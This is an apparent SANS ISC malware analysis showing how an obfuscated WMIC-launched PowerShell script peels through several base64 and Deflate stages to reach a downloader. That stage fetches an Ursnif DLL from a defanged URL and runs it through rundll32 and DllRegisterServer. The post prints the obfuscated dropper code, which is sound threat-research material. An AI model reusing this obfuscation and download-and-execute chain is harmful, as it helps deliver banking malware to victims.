Russian Dolls Malicious Script Delivering Ursnif
As a result of my hunting jobs, I found an interesting piece of obfuscated script. This one looks really like Russian dolls because multiple levels of obfuscation are implemented. It is invoked via WMIC, the command client that performs Windows Management Instrumentation (WMI) operations from a command prompt. If WMI is known to be a management solution (to get status of local and remote Windows hosts), it is able to perform a lot of interesting stuff like changing settings, managing users and… spawn processes. Example:
C:\Users\REM\>wmic process call create calc.exe Executing (Win32_Process)->Create() Method execution successful. Out Parameters: instance of __PARAMETERS { ProcessId = 5372; ReturnValue = 0; };
The sample that I found spawns a Powershell process with an obfuscated payload (SHA256: ced09a35fd85240ec0066bac134c08cec8a9e39ecceed1ad52fade55f39e359e) and has a low VT score (2/55)[1]. Here is a beautified version:
WmiC "prOcess" "CAlL" "CrEATe" "PoWersheLl -NoPRofiLE -EXECUTiONpoLI bYpAss -wiN 000000000000000000000000000000000000000000000000000000000000000001 -nOninT . ( $sHELlid[1]+$sHeLLiD[13]+'x')("\".('sl');&('sa'+'l') ('Ll') ('sa'+'l');&('lp');.('Ll') ('Pp') ('N'+'Ew-ObJ'+'ect');&('Ll') ('Pp'+'p') ('i'+'EX');&('Pp'+'p')(&('Pp') ('SysteM.i'+'O.co'+'mPRES'+'siOn'+'.'+'defLA'+'tESTrE'+'A'+'m')([IO.mEmORYsTReam][conVert]::FROmBaSe64stRing( (‘ <payload> ') ) "\" + [StrinG][Char]44 +"\"[iO.CoMPressiOn.ComPreSSiONmODe]::DeCoMpreSS)|.('%') {.('Pp') ('SY'+'st'+'Em.Io.stRe'+'AmreAd'+'er')(`${_}"\" + [StrinG][Char]44 +"\" [TExT.eNCOdinG]::ASciI)} ).reADtoEnD()"\" )"
The payload is Base64-encoded and compressed using the Deflate[2] algorythm. You can easily decode this first stage payload with a few lines of Powershell:
$base64data = ‘<payload>' $data = [System.Convert]::FromBase64String($base64data) $m = New-Object System.IO.MemoryStream $m.Write($data, 0, $data.Length) $m.Seek(0,0) | Out-Null $s = New-Object System.IO.StreamReader(New-Object System.IO.Compression.DeflateStream($ms, [System.IO.Compression.CompressionMode]::Decompress)) echo $s.ReadLine()
The result gives us a second stage payload:
Ll Xf Get-Date;Ll Jq rundll32;[sTRING]::joIn( '' ,( ‘ <payload> '-SPLiT','-sPliT'G' -split'D'-SpLiT'%' -SpliT '<'-sPlit 'S' -split'p' -SpliT'~' -sPlIt'K' -SPl iT':' |%{ ( [ConvERT]::toiNT16(( $_.TosTRiNG()) ,8)-as [CHaR])}) ) |Ppp
Here is the decoded payload:
$Tk=get-counter;( Pp Io.STreaMreaDer(( Pp iO.cOMpReSSioN.DeFLATEstReAM( [SYsTeM.iO.MEMoRYsTReAM] [cOnvERt]::FrombAsE64stRinG (‘ <payload> '),[IO.comPREsSioN.cOmPresSiOnmOdE]::dEcOMpress)), [Text.eNcoDiNG]::aSciI) ).reADTOEND( )|Ppp
Again, we are facing the same behaviour. The third payload is Base64-encoded and deflated. Once decoded, we now have this:
if((.('Xf')|.("{0}{2}{1}" -f'out-','ring','st')) -like ("{0}{1}"-f '*gn','*')){${I`i}=("{1}{4}{2}{3}{6}{7}{0}{5}"-f 'd/e.p','https','ndoluy','r','://fu','hp','.','fun');${i`I}="${ii}?"+(&('Xf') -Format ('o')).('sub'+'str'+'ing').Invoke(0,27);${Ez}=("{1}{2}{0}"-f 'ient','Net.WebC','l');function R`Sd([string] ${t`eE}){${L} = @{}; ${L}.';' = 'T'; ${L}.'_' = 'V'; ${l}.'-' = 'A'; Foreach(${E} in ${l}."Ke`Ys"){${T`ee} = ${T`ee}.('R'+'eplac'+'e').Invoke(${e}, ${l}.${e})}return ${T`EE}};.('SV') ("{1}{0}" -f'U','43') ${II}}else{exit};.('SV') ('4H') ${Ez};&("{0}{1}"-f 'di','r') ("{0}{1}" -f'ect','*');.('SV') ('wm') (&(.('GI') ("{4}{2}{0}{1}{3}" -f 'e:/','E*ont','abl','e*','Vari'))."v`ALUe".(((&('GI') ("{3}{2}{0}{1}"-f'*onte','*','iable:/E','Var'))."VAL`UE"|&("{0}{1}{2}"-f 'Me','m','ber'))[6]."NA`me").('GetCm'+'dle'+'t').Invoke((&('GI') ("{0}{1}{2}{4}{3}" -f'Var','iable',':/','e*','E*ont'))."v`ALUe".(((&('GI') ("{0}{3}{2}{1}"-f 'Varia','nte*','le:/E*o','b'))."v`ALuE"|.("{0}{1}" -f'Membe','r'))[6]."n`AME").(((.('GI') ("{0}{2}{3}{1}" -f 'Vari','/E*onte*','able',':'))."VaL`Ue".(((&('GI') ("{5}{1}{2}{4}{0}{3}"-f'*','riab','l','onte*','e:/E','Va'))."vA`LuE"|.("{0}{1}" -f 'Memb','er'))[6]."na`mE")."PS`oB`JECT"."MeT`hODS"|.('?'){(&("{1}{0}"-f 'R','DI') ((("{0}{1}{2}" -f'Variabl','e:K4q','_'))-replACE 'K4q',[chAr]92))."VA`lue"."nA`mE"-like("{0}{1}" -f '*n','d*e')})."N`AMe")."iN`V`okE"(("{0}{1}"-f 'N*','ct'),1,${T`Rue}))(&("{2}{1}{0}"-f'able','ri','Va') ('4H'))."V`ALUe");&('SV') ('Gu') ((((.("{0}{1}" -f 'GC','i') ("{0}{2}{3}{1}" -f 'Variab','wm','l','e:'))."va`LUe"|&("{1}{0}{2}" -f'm','Me','ber'))|&('?'){(.("{1}{0}" -f'IR','D') ((("{1}{0}" -f'0}_','Variable:{')) -f[ChaR]92))."val`Ue"."Na`me"-like("{1}{0}"-f'wn*g','*')})."nA`mE");${L`y}=(&("{1}{0}"-f'i','gC') ("{1}{0}{2}"-f'able','Vari',':wm'))."vAL`Ue".((.("{1}{0}" -f 'Ci','G') ((("{0}{2}{1}{3}" -f 'V','e:{0}G','ariabl','u')) -f [cHAr]92))."vaL`Ue")."IN`VOKe"((.("{0}{1}"-f 'G','CI') ("{2}{1}{0}" -f'e:/43U','riabl','Va'))."Val`UE");if((${tK}|.('FL') -Property ('*')|.("{2}{1}{0}" -f'-String','t','Ou')) -Match ("{0}{1}" -f'i','sco f')){${G`A}=${En`V`:temp};${gg}=(${D} = .("{0}{1}"-f'g','ci') ${G`A}|&("{0}{2}{1}" -f 'g','ndom','et-ra'))."N`AME" -replace ".{4}$";${WY}=${g`A}+'\'+${gg}+'.';("{1}{0}{2}" -f'r','er','or[0]')|.("{0}{1}{2}" -f 'se','t-clipboa','rd');[io.file]::"w`Ri`T`eallBYTes"(${w`y},[Convert]::('F'+'rom'+'Ba'+'se64S'+'tring').Invoke((&("{0}{1}"-f 'Rs','d')(${ly})).('replac'+'e').Invoke(' ','')))};if((&("{1}{0}" -f'i','gc') ${w`Y})."LE`N`GTH" -lt 200){exit};&("{0}{1}" -f's','leep') 9;.('Jq') ("{2}{1}{0}{3}"-f'p','l.c','InetCp','l'),("{1}{5}{0}{4}{3}{6}{2}"-f 'arMy','Cl','s','ksB','Trac','e','yProces') 8|.('Jq') ('/s') ${wy}, ("{1}{0}{2}{3}{4}"-f 'egi','DllR','ster','Ser','ver');.("{1}{0}"-f'leep','s') 55;&('sl');[io.file]::"w`RItEAL`lLIN`ES"(${w`y},[regex]::('repl'+'ace').Invoke(${ly},'\d','.’))
This script is also nicely obfuscated but it’s easy to spot the goal: it’s the downloader. Many strings are stored in arrays but they are easy to read:
PS C:\Users\REM> ${I`i}=("{1}{4}{2}{3}{6}{7}{0}{5}"-f 'd/e.p','https','ndoluy','r','://fu','hp','.','fun'); PS C:\Users\REM> echo ${I`i} hxxps://fundoluyr[.]fund/e.php
Too bad the domain does not resolve anymore but it can be found in passive DNS databases. It was resolving to 185[.]158[.]251[.]97. Let’s try to access the site now:
isc> curl --resolve fundoluyr[.]fund:443:185[.]158[.]251[.]97 -v hxxps://fundoluyr[.]fund/e.php * Added fundoluyr[.]fund:443:185[.]158[.]251[.]97 to DNS cache * Hostname fundoluyr.fund was found in DNS cache * Trying 185[]158[.]251[.]97... * TCP_NODELAY set * Connection failed * connect to 185[.]158[.]251[.]97 port 443 failed: Connection refused * Failed to connect to fundoluyr[.]fund port 443: Connection refused * Closing connection 0 curl: (7) Failed to connect to fundoluyr[.]fund port 443: Connection refused
The server is also down but I found references to the URL on Twitter. A malware analyst (@reecDeep) grabbed the file server by the URL and found a DLL:
It’s an Ursnif sample (SHA256:3e0c302ffaaf26cca166dad8691f3cc8a4f2c3800311ef856a47ecac02854a41)[3].
Another nice example of obfuscation isn't it?
[1] https://www.virustotal.com/gui/file/ced09a35fd85240ec0066bac134c08cec8a9e39ecceed1ad52fade55f39e359e/detection
[2] https://en.wikipedia.org/wiki/DEFLATE
[3] https://beta.virusbay.io/sample/browse/01529543151d3d9f0537009827484735
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Amsterdam | Jan 20th - Jan 25th 2025 |
Comments
Anonymous
Jul 12th 2019
5 years ago